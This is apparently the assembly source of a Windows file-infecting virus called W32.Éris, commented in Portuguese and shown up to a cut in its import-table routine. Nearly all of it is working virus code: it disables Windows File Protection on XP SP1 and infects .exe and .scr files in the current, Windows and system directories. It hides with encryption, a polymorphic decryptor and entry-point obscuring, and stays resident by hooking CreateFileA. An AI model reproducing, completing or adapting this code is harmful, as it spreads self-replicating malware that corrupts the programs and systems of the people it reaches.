;-----------------------------------------------------------
;                   W32.Éris by cH4R_
;-----------------------------------------------------------
;              http://www.charvx.cjb.net
;-----------------------------------------------------------
; Compile com:
; TASM32.EXE /i\TASM\INCLUDE /m9 /ml gremory.asm,,;
; TLINK32.EXE /Tpe /aa gremory.obj,gremory.exe,,import32.lib
;-----------------------------------------------------------
; - Multiplataforma (Win95/98/98SE/NT/2K/XP Home & Pro)
; - Busca de APIs por CRC32
; - Anti-SFC - Desativa SFC no WinXP (SP1)
; - Criptografia (pega chave por meio de hashing)
; - Polimorfismo
; - Payload ;D
; - Per-Process Residency
; - Entry-Point Obscuring (usando RGBLDE)
; - Structured Exception Handling
;-----------------------------------------------------------
; Obrigado a / Thanks to:
;
; Djinn - you know... i love you ;*
; roy g biv - Excellent LDE :D
; Billy - Good tutorial (per-process), Excellent virus (Kriz)
; Benny - Excellent tutorial (optimization), good virus (HIV)
; ancev - Vc estava certo, um engine poly cai mto bem. :P
;-----------------------------------------------------------

.586
.model flat,stdcall

; -----------------------------------------------------------------
;                  INCLUDES E FALSAS IMPORTAÇÕES
; -----------------------------------------------------------------

extrn ExitProcess:proc

include PE.INC         ; Include da 29A
include MZ.INC         ; Include da 29A

; -----------------------------------------------------------------
;             ABREVIATURAS & MACROZ & DEFINIÇÕES
; -----------------------------------------------------------------

CRLF equ <0Dh,0Ah>
ofs equ offset
bye equ byte ptr
dwo equ dword ptr
wod equ word ptr

api macro x
call dwo [ebp+x-delta]
endm

; Tamanho de todo o código viral
n_Eris equ (ofs Eris_Fim-ofs Eris)
; Tamanho da area do virus que pode ser encriptada pelo decriptador complexo
n_Area equ (ofs Area_Fim-ofs Area)
; Tamanho da area do decriptador complexo
n_Comp equ (ofs Eris_Fim-ofs DeCrypt)
; Tamanho da area do decriptador polimorfico
n_Simp equ (ofs DeCrypt-ofs S_Dec)
; Tamanho maximo do decriptador polimorfico + decriptador complexo
n_PMax equ n_Comp+n_Simp
; Número de APIs
n_APIs equ (ofs _APIs_fim-ofs _APIs)/4
; Marca de infecção (Éris)
marca equ "sirÉ"

; ---- Macro de SEH (by Jack Qwerty) ----

pseh macro what2do
local @@over_seh_handler
call @@over_seh_handler
mov esp,[esp+08h]
what2do
@@over_seh_handler:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
endm

rseh macro
xor edx,edx
pop dword ptr fs:[edx]
pop edx
endm

; ---- Parametros de APIs ----

DRIVE_REMOVABLE equ 2
DRIVE_FIXED equ 3
DRIVE_REMOTE equ 4

MEM_COMMIT_RESERVE equ 03000h
MEM_RELEASE equ 08000h

CREATE_NEW equ 1
CREATE_ALWAYS equ 2
OPEN_EXISTING equ 3
OPEN_ALWAYS equ 4
FILE_ATTRIBUTE_NORMAL equ 80h
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
FILE_SHARE_READ equ 1
FILE_BEGIN equ 0
FILE_CURRENT equ 1
FILE_END equ 2

PROCESS_VM_WRITE equ 0020h

PAGE_EXECUTE_READWRITE equ 40h
PAGE_READWRITE equ 4h

; ---- Estruturas ----

SYSTEMTIME STRUC
wYear dw ?
wMonth dw ?
wDayOfWeek dw ?
wDay dw ?
wHour dw ?
wMinute dw ?
wSecond dw ?
wMilliseconds dw ?
SYSTEMTIME ENDS

SZ_SYSTEMTIME equ SIZE SYSTEMTIME

FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS

WIN32_FIND_DATA STRUC
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
eWFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db 104h DUP (?)
WFD_szAlternateFileName db 0Dh DUP (?)
DB 3 DUP (?)
WIN32_FIND_DATA ENDS

SZ_WIN32_FIND_DATA equ SIZE WIN32_FIND_DATA

OSVERSIONINFO STRUC
dwOSVersionInfoSize dd ?
dwMajorVersion dd ?
dwMinorVersion dd ?
dwBuildNumber dd ?
dwPlatformId dd ?
szCSDVersion db 80h dup (?)
OSVERSIONINFO ENDS

SZ_OSVERSIONINFO equ SIZE OSVERSIONINFO

STACK_REG STRUCT
_EDI dd ?
_ESI dd ?
_EBP dd ?
_ESP dd ?
_EBX dd ?
_EDX dd ?
_ECX dd ?
_EAX dd ?
STACK_REG ENDS

STACK_REGS equ SIZE STACK_REG
REGS_FLAGS equ STACK_REGS+4h

; -----------------------------------------------------------------
;                   Seções da primeira geração
; -----------------------------------------------------------------

_TEXT segment dword use32 public 'CODE'

inicio:

xor al,al      ; AL = 0
dec al         ; AL = 0FFh (maximo de infecções na primeira geração)

call Eris      ; Éris - A deusa da discordia... ;)

xor eax,eax    ; EAX = 0
push eax       ; arg 0 = return to call
push eax       ; arg 1 = exit code

	       ; <-- o tasm colocará jump p/ ExitProcess aqui ;)

_TEXT ends

; -----------------------------------------------------------------
;                       Seção do Éris
; -----------------------------------------------------------------

newsection segment dword use32 public 'Éris'

Eris:

Area:

; ---- Delta-Offset ----

call Delta_Offset

mov [ebp+infec_max-delta],al   ; Maximo de infecções = AL

; ---- Localiza Kernel ----

call ProcuraKrn                ; Procura kernel :D
or eax,eax                     ;
jnz termina_tudo               ; EAX != 0 ? Então vaza...
mov [ebp+kernel-delta],ebx     ; Salva endereço

; ---- Localiza APIs ----

push n_APIs       ; Numéro de APIs
call _APIs_fim    ; Salta tabela de CRC32's

_APIs label byte
dd 0B09315F4h  ; CloseHandle
dd 0553B5C78h  ; CreateFileA
dd 0D9AC2453h  ; CreateMutexA
dd 0D82BF69Ah  ; FindClose
dd 0C9EBD5CEh  ; FindFirstFileA
dd 075272948h  ; FindNextFileA
dd 0DA68238Fh  ; FreeLibrary
dd 0C79DC4E3h  ; GetCurrentDirectoryA
dd 0D0861AA4h  ; GetCurrentProcess
dd 0F6A56750h  ; GetDriveTypeA
dd 030601C1Ch  ; GetFileAttributesA
dd 0B1866570h  ; GetModuleHandleA
dd 0C97C1FFFh  ; GetProcAddress
dd 086B0A95Ah  ; GetSystemDirectoryA
dd 0D22204E4h  ; GetSystemTime
dd 0DF87764Ah  ; GetVersionExA
dd 0FFF372BEh  ; GetWindowsDirectoryA
dd 03FC1BD8Dh  ; LoadLibraryA
dd 0095C03D0h  ; ReadFile
dd 069B6849Fh  ; SetCurrentDirectoryA
dd 0156B9702h  ; SetFileAttributesA
dd 0EFC7EA74h  ; SetFilePointer
dd 009CE0D4Ah  ; VirtualAlloc
dd 0CD53F5DDh  ; VirtualFree
dd 010066F2Fh  ; VirtualProtect
dd 0CCE95612h  ; WriteFile
dd 04F58972Eh  ; WriteProcessMemory
_APIs_fim:

pop esi                ; ESI = Ponteiro para a tabela
pop ecx                ; ECX = Número de APIs
lea edi,[ebp+api_addrs-delta]; EDI = Ponteiro para area de armazenar endereços

api_loop:
lodsd             ; Carrega CRC32 em EAX
call AchaAPI      ; Manda achar a API
stosd             ; Salva endereço em [EDI]
loop api_loop     ; Loop ;)

; ---- Carrega SFC ----

call pos_sfc                 ; String "SFC" na stack
db "SFC",0
pos_sfc:
api LoadLibraryA             ; Carrega dll...

mov [ebp+sfc_dll-delta],eax  ; Guarda o endereço

call pos_sfcnome             ; String "SfcIsFileProtected" na stack
db "SfcIsFileProtected",0
pos_sfcnome:
push eax                     ; Endereço da dll
api GetProcAddress           ; Pega endereço da função...

mov [ebp+sfc_func-delta],eax ; Salva endereço da função...
or eax,eax                   ; EAX = 0 ?
jz mutex_rnd                 ; Não tenta desativar SFC...

; ---- Verifica se pode-se desativar o SFC ----

xor eax,eax          ; EAX = 0
push PAGE_READWRITE  ; Protect
push MEM_COMMIT_RESERVE ; AllocationType
push SZ_OSVERSIONINFO ; Size
push eax             ; Address
api VirtualAlloc     ; Aloca...
or eax,eax           ; EAX = 0 ?
jz mutex_rnd         ; Então vaza...

mov edi,eax         ;
mov eax,SZ_OSVERSIONINFO
push edi            ;
push edi            ;
stosd               ;

api GetVersionExA   ; Pega informações de versão...

pop eax                        ;
mov ebx,eax                    ; EBX = EAX
sub [eax.dwMajorVersion],5     ; MajorVersion = 5 ?
jnz sfcxp_libera               ; Não? Então vaza...
dec [eax.dwMinorVersion]       ; MinorVersion = 1 ?
jnz sfcxp_libera               ; Não? Então vaza...
mov eax,dwo [eax.szCSDVersion] ; Tem SP2 ?
or eax,eax                     ; Sim?
jnz sfcxp_libera               ; Então vaza...

push ebx            ; Salva EBX
call FerraXPSFC     ; Desabilita SFC...
pop ebx             ; Recupera EBX

sfcxp_libera:
xor eax,eax
push MEM_RELEASE    ; FreeType
push eax            ; Size
push ebx            ; Address
api VirtualFree     ; Libera memoria...

; ---- Mutex & Random Seed ----
mutex_rnd:
xor eax,eax              ; EAX = 0
call @@mutex_name        ; Endereço para o nome do mutex na stack
db "For my sweet Djinn"  ;
db 0                     ;
@@mutex_name:            ;
push eax                 ;
push eax                 ;
api CreateMutexA         ; cria mutex...

call seed                ; Gera uma random seed...

; ---- Funções principais do virus ----

call PerProc             ; * Per-Process Resindency

call SSD                 ; * Search & Seek & Destroy ;D

call Payload             ; * Payload

; ---- Descarrega SFC ----

mov eax,[ebp+sfc_dll-delta]      ; EAX = Handle de "SFC.DLL"
push eax                         ;
api FreeLibrary                  ; Libera DLL...

; ---- Conserta o hospedeiro ----

mov ecx,dwo [ebp+host_org-delta] ; ECX = 4 primeiros bytes originais do hosp.
jecxz termina_tudo               ; ECX = 0 ? Então é primeira geração... vaza.

conserta:
api GetCurrentProcess        ; Pega uma pseudo-handle pro nosso processo

mov edi,[esp+REGS_FLAGS]     ; EDI = Endereço de retorno...
sub edi,5                    ; EDI-= 5
lea esi,[ebp+host_org-delta] ; ESI = Bytes originais do hospedeiro

xor ebx,ebx
push ebx                     ; lpNumberOfBytesWritten
push 5                       ; nSize
push esi                     ; lpBuffer
push edi                     ; lpBaseAddress
push eax                     ; hProcess
api WriteProcessMemory       ; Escreve... ;)
xchg eax,ecx                 ; ERRO ? Nem pensar !
jecxz conserta               ; Tenta denovo...

mov [esp+REGS_FLAGS],edi     ; Troca o endereço de retorno...
popad                        ; Recupera todos os regs.
popfd                        ; Recupera flags...

; ---- Finaliza e volta pro hospedeiro ----

termina_tudo:
ret                          ; Retorna...

; -----------------------------------------------------------------
;            Desabilita SFC no WinXP sem Service Pack 2
; -----------------------------------------------------------------

FerraXPSFC proc

call @xp_sfcn                   ; nome da dll na stack "SFC_OS"(.dll)
db "SFC_OS",0                   ;
@xp_sfcn:                       ;
api GetModuleHandleA            ; pega Handle...
xchg eax,ecx                    ; Troca EAX com ECX...
jecxz ferrasfc_fim              ; ECX = 0 ? Então vaza...

add eax,0EEB8h                  ; EAX + VA do codigo que vamos mudar...

lea ebx,[ebp+FH-delta]          ; EBX = Ponteiro para armazenarmos Oldprotection
push eax                        ; Salva EAX!
push ebx                        ; Salva EBX!
push ebx                        ; Oldprotect
push PAGE_EXECUTE_READWRITE     ; Newprotect
push 2                          ; Size
push eax                        ; Address
api VirtualProtect              ; (UN)Protect...
pop ebx                         ; Recupera EBX!
pop edi                         ; Recupera EAX em EDI!
xchg eax,ecx                    ; Troca EAX com ECX
jecxz ferrasfc_fim              ; ECX = 0 ? Então vaza...

xor wod [edi],561Bh             ; Muda 8BC6 (mov eax,esi) para 9090 (nop/nop)

lea eax,[ebp+Mem-delta]         ; EAX = Ponteiro exigido pela api
mov ebx,[ebx]                   ; EBX = Antigo valor de proteção da página
push eax                        ; OldProtect
push ebx                        ; NewProtect
push 2                          ; Size
push edi                        ; Address
api VirtualProtect              ; Protect...

xor eax,eax                     ; EAX = 0
mov [ebp+sfc_func-delta],eax    ; SFC_FUNC = EAX

ferrasfc_fim:
ret                             ; Retorna...

FerraXPSFC endp

; -----------------------------------------------------------------
;                  Search, Seek and Destroy
; -----------------------------------------------------------------

; --- Função principal ----

SSD proc

call AlocaW32FD             ; Aloca memória para WIN32_FIND_DATA e diretórios
jecxz ssd_fim               ; ECX = 0 ? Então vaza pq falhamos...

mov edi,[ebp+busca-delta]   ; EDI = Ponteiro para memoria virtual
add edi,SZ_WIN32_FIND_DATA  ; EDI + WIN32_FIND_DATA

push edi                    ; Buffer para o diretorio
push 105h                   ; Tamanho do buffer
api GetCurrentDirectoryA    ; Pega diretorio atual...
add edi,105h                ; Anda com EDI...

push 105h                   ; Buffer para o diretorio
push edi                    ; Tamanho do buffer
api GetWindowsDirectoryA    ; Pega diretorio do windows...
add edi,105h                ; Anda com EDI...

push 105h                   ; Buffer para o diretorio
push edi                    ; Tamanho do buffer
api GetSystemDirectoryA     ; Pega diretorio do sistema...
add edi,105h                ; Anda com EDI...

call mbusca                 ; Diretório atual
call mbusca                 ; Diretório de sistema
call mbusca                 ; Diretório do windows

call LiberaW32FD            ; Libera memória...

ssd_fim:
ret                         ; Retorna...

; --- Sub-função: Busca arquivos e muda de diretório...
mbusca:
push edi                    ; Salva EDI !
call BuscaCDIR              ; Busca arquivos no diretório corrente...
pop edi                     ; Recupera EDI !

sub edi,105h                ; Subtrai EDI...
push edi                    ; Buffer
api SetCurrentDirectoryA    ; Seta diretorio...
ret                         ; Retorna...

SSD endp

; --- Sub-função: Aloca memória para o W32FD

AlocaW32FD proc
xor eax,eax          ; EAX = 0
push PAGE_READWRITE  ; Protect
push MEM_COMMIT_RESERVE ; AllocationType
push SZ_WIN32_FIND_DATA+1000h ; Size
push eax             ; Address
api VirtualAlloc     ; Aloca...
mov [ebp+busca-delta],eax  ; Salva ponteiro ! ;D
xchg eax,ecx         ; Troca EAX com ECX...
ret
AlocaW32FD endp

; --- Sub-função: Libera memória alocada para o W32FD

LiberaW32FD proc
xor eax,eax         ; EAX = 0
mov ebx,[ebp+busca-delta] ; EBX = Ponteiro para WIN32_FIND_DATA
push MEM_RELEASE    ; FreeType
push eax            ; Size
push ebx            ; Address
api VirtualFree     ; Libera memoria...
ret
LiberaW32FD endp

; --- Sub-função: Manda buscar *.exe,*.scr e *.cpl no diretório...

BuscaCDIR proc

call @msk1          ; Ponteiro p/ "*.EXE", na stack
db "*.exe",0
@msk1:
call BuscaEXEC      ; Manda procurar...

call @msk2          ; Ponteiro p/ "*.SCR", na stack
db "*.scr",0
@msk2:
call BuscaEXEC      ; Manda procurar...

ret

BuscaCDIR endp

; --- Sub-função: Busca arquivo especificado e manda infectar
; Entrada:
; Arg1 = Mascara de busca

BuscaEXEC proc

mov eax,[ebp+busca-delta]     ; EAX = Ponteiro para W32_FIND_DATA
push eax                      ;
push dwo [esp+8]              ;
api FindFirstFileA            ; Procura...
inc eax                       ; EAX++
jz bexec_fim                  ; EAX = 0 ? Então vaza...
dec eax                       ; EAX--
mov [ebp+SH-delta],eax        ; Salva handle!

procuramais:
call Infecta                  ; Manda infectar...

mov eax,[ebp+SH-delta]        ; EAX = Search handle
mov ebx,[ebp+busca-delta]     ; EBX = Ponteiro p/ W32_Find_Data
push ebx                      ;
push eax                      ;
api FindNextFileA             ; Procura proximo...
or eax,eax                    ; EAX != 0 ?
jnz procuramais               ; Então procura mais...

mov ebx,[ebp+SH-delta]        ; EBX = Search handle
push ebx                      ;
api FindClose                 ; Termina busca...

bexec_fim:
ret 4                         ; Retorna...

BuscaEXEC endp

; --- Sub-função: Infecta executáveis PE

Infecta proc

mov edi,[ebp+busca-delta]       ; EDI = Estrutua W32_FIND_DATA
lea esi,[edi.WFD_szFileName]    ; ESI = Ponteiro para nome do arquivo
xor eax,eax                     ; EAX = 0
mov ecx,[ebp+sfc_func-delta]    ; ECX = SfcIsFileProtected
jecxz @pula_chksfc              ; ECX = 0 ? Então pula essa parte..

push esi                        ; filename
push eax                        ; sfchandle
call ecx                        ; SfcIsFileProtected ?

@pula_chksfc:
or eax,eax                      ; EAX != 0 ?
jnz infec_fim                   ; Então vaza...

push esi                        ;
api GetFileAttributesA          ; Pega atributos...

push eax                        ; Salva EAX ! (atributos do arquivo)
push 80h                        ; atributos de arquivo normal...
push esi                        ;
api SetFileAttributesA          ; Seta atributos...

xor eax,eax          ; EAX = 0
push eax             ; hTemplateFile
push eax             ; wFlagsAndAttributes
push OPEN_EXISTING   ; dwCreationDistribution
push eax             ; lpSecurityAttributes
push eax             ; dwShareMode
push GENERIC_READ or GENERIC_WRITE   ; wDesiredAccess
push esi             ; lpFileName
api CreateFileA      ; ...
inc eax              ; EAX++
jz recupera_attr     ; EAX=0? Então vaza...
dec eax              ; EAX--

mov [ebp+FH-delta],eax  ; Salva FileHandle !

xor eax,eax             ; EAX = 0
mov ecx,eax             ; ECX = 0
mov ch,20h              ; ECX = 0002000h (8Kb)
add ecx,[edi.WFD_nFileSizeLow] ; ECX += Tamanho do arquivo
push PAGE_READWRITE     ; Protect
push MEM_COMMIT_RESERVE ; AllocationType
push ecx                ; Size
push eax                ; Address
api VirtualAlloc        ; Aloca...
or eax,eax              ; EAX = 0 ?
jz fecha_arq            ; Então vaza...

mov [ebp+Mem-delta],eax ; Salva ponteiro para memória...
mov ecx,[edi.WFD_nFileSizeLow] ; ECX = Tamanho do arquivo...
mov edi,[ebp+FH-delta]  ; EDI = FileHandle
xor ebx,ebx             ; EBX = 0
push ebx                ; lpOverlapped
call @nobr              ; lpNumberOfBytesRead
dd ?
@nobr:
push ecx                ; nNumberOfBytesToRead
push eax                ; lpBuffer
push edi                ; hFile
api ReadFile            ; Lê...
or eax,eax              ; EAX = 0 ?
jz libera_mem           ; Então vaza...

xor eax,eax             ; EAX = 0
push FILE_BEGIN         ; dwMoveMethod
push eax                ; pDistanceToMoveHigh
push eax                ; lDistanceToMove
push edi                ; hFile
api SetFilePointer      ; Move ponteiro...

mov edi,[ebp+Mem-delta] ; EDI = Ponteiro para onde o arquivo está mapeado...
mov esi,edi             ; ESI = EDI

;---- Checagem de imagem ----

cmp wod [esi],"ZM"      ; Tem assinatura MZ ?
jnz libera_mem          ; Senão vaza...
add esi,[edi+3Ch]
cmp wod [esi],"EP"      ; Tem assinatura PE ?
jnz libera_mem          ; Senão vaza..

; É dll ? (não pode ser de jeito nenhum)
test [esi.IMAGE_NT_HEADERS.NT_FileHeader.FH_Characteristics],IMAGE_FILE_DLL
jnz libera_mem		 ; Sim ? Então vaza

; Tá infectado ?
cmp [esi.IMAGE_NT_HEADERS.NT_FileHeader.FH_PointerToSymbolTable],marca
jz libera_mem		  ; Sim ? Então vaza..

;---- Localização do EntryPoint do programa ----

; Vá até o entrypoint
mov eax,[esi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_AddressOfEntryPoint] ; EAX = EP

; ECX = número de seções
movzx ecx,[esi.IMAGE_NT_HEADERS.NT_FileHeader.FH_NumberOfSections]
inc ecx 			     ; Até a ultima seção ;)
lea edx,[esi+0F8h]		     ; EDX = Ponteiro para o cabeçalho de seções
scan:				     ; Loop que scaneia as seções
cmp [edx.SH_VirtualAddress],eax      ; VirtualAddress da seção <= EAX ?
jle achamos			     ; Então vamos mais a frente...
add edx,IMAGE_SIZEOF_SECTION_HEADER  ; Proxima seção
loop scan			     ;
jmp libera_mem			     ; Se sair direto eh pq deu pau, então vaza.

achamos:
push eax                             ; Salva EAX !
sub eax,[edx.SH_VirtualAddress]      ; EAX = EP - VirtualAddress da seção dele
mov ecx,[edx.SH_SizeOfRawData]       ; ECX = Tamanho da seção
sub ecx,eax                          ; ECX-= EAX
add eax,[edx.SH_PointerToRawData]    ; EAX+= VA para o código da seção
add eax,edi       		     ; EAX = Ponteiro para o código da seção
pop edi                              ; Recupera em EDI...

;---- Procura de instrução maior do que 4 bytes ----

push esi                           ; Salva ESI !
mov ecx,[edx.SH_PointerToRawData]  ; ECX = Tamanho da seção
mov edx,eax                        ; EDX = Ponteiro para o código da seção
mov esi,edx                        ; ESI = EDX
push ebp                           ; Salva EBP para o caso de um erro...
push edx                           ; Salva EDX, q é altera qdo se instala SEH
pseh <jmp @handler>                ; Poe SEH...

@loop_ins:                         ; Loop para achar instrução > 4 bytes
cmp [esi],eax                      ; Usado como isca para a SEH...
call get_opsize                    ; RGBLDE (roy g biv LDE)
cmp eax,4                          ; EAX > 4 ?
ja achamos_ins                     ; Se sim, então achamos...
add esi,eax                        ; ESI+= EAX
loop @loop_ins                     ; Tenta novamente...

@handler:
xor eax,eax                        ; EAX = 0

achamos_ins:
rseh                               ; Tira SEH..
pop edx                            ; Recupera EDX !
pop ebp                            ; Recupera EBP !
mov ebx,esi                        ; EBX = ESI (Ponteiro para instrução)
pop esi                            ; Recupera ESI !
or eax,eax
jz libera_mem

;---- Salvamento de dados da infecção atual ----

; Marca como infectado
mov [esi.IMAGE_NT_HEADERS.NT_FileHeader.FH_PointerToSymbolTable],marca

mov eax,[ebp+host_org-delta]    ; EAX = Instrução guardada...
push eax                        ; Salva !
mov al,[ebp+host_org+4-delta]   ; AL = Instrução guardada...
push eax                        ; Salva !

mov eax,[ebx]                   ; EAX = Instrução do futuro hospedeiro...
mov [ebp+host_org-delta],eax    ; Salva no codigo
mov al,[ebx+4]                  ; AL = Instrução do futuro hospedeiro...
mov [ebp+host_org+4-delta],al   ; Salva no codigo

push ebx                        ; Salva endereço para uso futuro...

;---- Calculo do salto entre o codigo do programa e o codigo do virus ----

sub ebx,edx                     ; EBX = EBX - EDX (distancia entre EP e inst.)
add edi,ebx                     ; EDI+= EBX (VA da inst.)
; EBX = Número de seções
movzx ebx,[esi.IMAGE_NT_HEADERS.NT_FileHeader.FH_NumberOfSections]
lea edx,[esi+0F8h]	    ; EDX = Ponteiro para o cabeçalho de seções
imul ebx,ebx,28h	    ; EBX = BX * 28h
add edx,ebx		    ; EDX = Ponteiro para o fim da ultima seção
sub edx,28h		    ; EDX = Ponteiro para a ultima seção
mov ebx,[edx.SH_SizeOfRawData] ; EBX = SizeOfRawData

; EAX = Image Base
mov eax,[esi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_ImageBase]
mov [ebp+baseaddr-delta],eax   ; Salva no código para a proxima geração..
add ebx,eax                    ; EBX+= Image Base
add ebx,[edx.SH_VirtualAddress]; EBX+= VirtualAddress da seção
add edi,eax                   ; EDI+= Image Base = Endereço virtual da instrução

pop eax         ; Recupera endereço salvo !
add edi,5       ; EDI = 5 (5 bytes da CALL)
add ebx,n_Area  ; EBX+= Area encriptado = Area do inicio do decriptador poly.

sub ebx,edi        ; EBX = Distancia entre os pontos (immed32)
mov [eax+1],ebx    ; Poe immed32 no codigo do hospedeiro...
mov bye [eax],0E8h ; Poe instrução de CALL

;---- Infecção da ultima seção ----

mov eax,[edx.SH_SizeOfRawData]	       ; SizeOfRawData
mov edi,eax              	       ; EDI = SizeOfRawData
add eax,n_Eris                         ; EAX+= Tamanho do virus
; ECX = Fator de alinhamento
mov ecx,[esi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_FileAlignment]
push edx                               ; Salva EDX
call Alinha                            ; Alinha...
pop edx                                ; Recupera EDX
add edi,[edx.SH_PointerToRawData]      ; EDI = Fim da ultima seção
mov [edx.SH_SizeOfRawData],eax         ; Novo SizeOfRawData !!!
mov [edx.SH_VirtualSize],eax           ; Novo VirtualSize !!!
or bye [edx.SH_Characteristics+3],0C0h ; Seção R/W

;---- Copia para a ultima seção ----

pushad                           ; Salva regs.

mov eax,[edx.SH_VirtualAddress]  ; EAX = VA da seção
add eax,[esi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_ImageBase] ; EAX = RVA
push eax                         ; Salva EAX !
mov ebx,[edx.SH_PointerToRawData]; EBX = Ponteiro (raw) para seção
add ebx,[ebp+Mem-delta]          ; EBX = Ponteiro no nosso mapeamento

cld                              ; D = 0
add edi,[ebp+Mem-delta]          ; EDI = Fim da ultima seção no nosso mapa
lea esi,[ebp+Eris-delta]         ; ESI = Inicio do codigo
mov ecx,n_Area                   ; ECX = Area que pode ser criptografada
push edi                         ; Salva EDI !
rep movsb                        ; Copia...

pop edi                          ; Recupera EDI !

;---- Encriptação complexa ----

push 7Fh                  ;
call rand                 ; Pega numero randomico...
mov [ebp+k_tam-delta],al  ; Salva tamanho no código
pop ecx                   ; Recupera endereço virtual da area
mov [ebp+k_buf-delta],ecx ; Salva no codigo

push eax           ; Tamanho do buffer
push ebx           ; Buffer
call Hash64        ; Hashing...

mov ecx,n_Area-4   ; ECX = Tamanho da area a ser decriptada

enc_c:
rcl eax,cl         ; RCL EAX,CL
jnc no_enc         ; Bit = 0 ? Não encripta
xor dwo [edi+ecx],eax  ; Encripta...
no_enc:
xor eax,ebx        ; XOR Chave, Modificador
loop enc_c         ; Loop ;D

;---- Encriptação simples & Polimorfismo ----

mov eax,edi        ;
add eax,n_Area     ; EAX = Local depois da area encriptada

call Crypt_Poly    ; Faz o serviço sujo.. :P

popad              ; Recupera regs.

; ---- Recupera dados da infecção atual ----

pop ebx
pop eax
mov [ebp+host_org+4-delta],bl
mov [ebp+host_org-delta],eax

; ---- Escreve / Libera memoria / Fecha arquivo / Recupera atributos ----

mov eax,[edx.SH_VirtualAddress] ;
add eax,[edx.SH_SizeOfRawData]  ;
mov dwo [esi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_SizeOfImage],eax

mov edi,[ebp+busca-delta]       ; EDI = W32_FIND_DATA
; ECX = File alignment
mov ecx,[esi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_FileAlignment]
mov eax,[edi.WFD_nFileSizeLow]	; EAX = Tamanho do arquivo
add eax,n_Eris  		; EAX+= Tamanho do virus
call Alinha			; Alinha com o arquivo

mov edi,[ebp+FH-delta]  ; EDI = FileHandle
mov ebx,[ebp+Mem-delta] ; EBX = Ponteiro para memoria
xor ecx,ecx             ; ECX = 0
push ecx                ; lpOverlapped
call @@@                ; lpNumberOfBytesWritten
dd ?
@@@:
push eax                ; nNumberOfBytesToWrite
push ebx                ; lpBuffer
push edi                ; hFile
api WriteFile           ; escreve...

libera_mem:
xor eax,eax         ; EAX = 0
mov ebx,[ebp+Mem-delta] ; EBX = Ponteiro para memoria...
push MEM_RELEASE    ; FreeType
push eax            ; Size
push ebx            ; Address
api VirtualFree     ; Libera...

fecha_arq:
push edi                        ;
api CloseHandle                 ; Fecha...

recupera_attr:
mov edi,[ebp+busca-delta]       ; EDI = Estrutua W32_FIND_DATA
lea edi,[edi.WFD_szFileName]    ; EDI = Ponteiro para nome do arquivo
push edi                        ; nome do arquivo
api SetFileAttributesA          ; Seta atributos...

infec_fim:
ret                 ; Retorna...

;--- Sub-função: Calcula alinhamento
; Entrada:
; EAX = Valor a ser alinhado
; ECX = Fator de alinhamento
; Saida:
; EAX = Valor alinhado
; EDX = O valor foi alterado ? (boolean)

Alinha:
xor edx,edx   ; EDX = 0
push eax      ; Salva EAX
div ecx       ; Divide EAX por ECX
pop eax       ; Volta com EAX (o quociente não importa, somente o resto)
or edx,edx    ; Resto = 0 ?
jz alinha_fim ; Então já está alinhado, sai fora...
sub ecx,edx   ; ECX - EDX (fator de alinhamento - resto da divisão = complemento)
add eax,ecx   ; EAX + ECX (valor a ser alinhado + complemento)
alinha_fim:
ret           ; Retorna...

Infecta endp

; -----------------------------------------------------------------
;                   Per-Process Residency
; -----------------------------------------------------------------

PerProc proc

mov eax,0553B5C78h   ; EAX = CRC32 de CreateFileA
call PegaIAT         ; Pega ponteiro na I.A.T.
jc perproc_fim       ; Não achou ? Então vaza...

mov edi,ebx                    ; EDI = Ponteiro para endereço da API, na IAT
lea eax,[ebp+APIHooker-delta]  ; EAX = Ponteiro para interceptador da API
stosd                          ; Escreve...

perproc_fim:
ret                  ; Retorna...

PerProc endp

; --- Sub-função: Interceptador de chamadas da API CreateFileA

APIHooker:
push eax                       ; Aqui ficará o endereço da API
pushad                         ; Salva regs...
pushfd                         ; Salva flags...

call Delta_Offset              ; Pega Delta-Offset

mov eax,[ebp+CreateFileA-delta]; EAX = Endereço da API
mov [esp+REGS_FLAGS],eax       ; Poe na stack...

call AlocaW32FD                ; Aloca memória para Win32_Find_Data
jecxz hook_fim                 ; ECX = 0 ? Então vaza...

; Acha final do nome...

mov edi,[esp+REGS_FLAGS+8]     ; EDI = FileName
mov ebx,edi                    ; EBX = EDI
xor al,al                      ; AL = 0
cld                            ;
@scan_str:                     ;
scasb                          ;
jnz @scan_str                  ;
dec edi                        ; EDI--

; Acha ultima barra do diretório...

mov al,"\"                     ; AL = 5Ch
std                            ;
@scan_str2:                    ;
cmp edi,ebx                    ; EDI = EBX ?
jz hook_fim                    ; Então vaza pq não tem barra...
scasb                          ;
jnz @scan_str2                 ;
inc edi                        ; EDI++
sub edi,ebx                    ; EDI = EDI - EBX

mov [ebp+busca-delta],ecx      ; Salva ECX !
xchg edi,ecx                   ; EDI = ECX
add edi,414h                   ; EDI+= 414h
push edi                       ; EDI na stack...
mov esi,ebx                    ; ESI = EBX
cld                            ;
rep movsb                      ; Copia...

inc edi
push edi                       ; EDI na stack...
push 104h
api GetCurrentDirectoryA

api SetCurrentDirectoryA       ; Seta diretório...

push edi
call BuscaCDIR                 ; Busca arquivos no diretório...
api SetCurrentDirectoryA       ; Seta diretório...
call LiberaW32FD               ; Libera memoria usada...

hook_fim:                      ;
popfd                          ; Recupera flags...
popad                          ; Recupera flags...
ret                            ; Executa API...


; *** PegaIAT -> Adaptado do tutorial de Billy Belcebu ***
; *** PegaIAT -> Adapted from Billy Belcebu tutorials  ***

PegaIAT proc

mov dwo [ebp+FH-delta],eax                ; Save API CRC32 for later
mov esi,dwo [ebp+baseaddr-delta]          ; ESI = imagebase
add esi,3Ch                               ; Get ptr to PE header
lodsw                                     ; AX = That pointer
cwde                                      ; Clear MSW of EAX
add eax,dwo [ebp+baseaddr-delta]          ; Normalize pointer
xchg esi,eax                              ; ESI = Such pointer
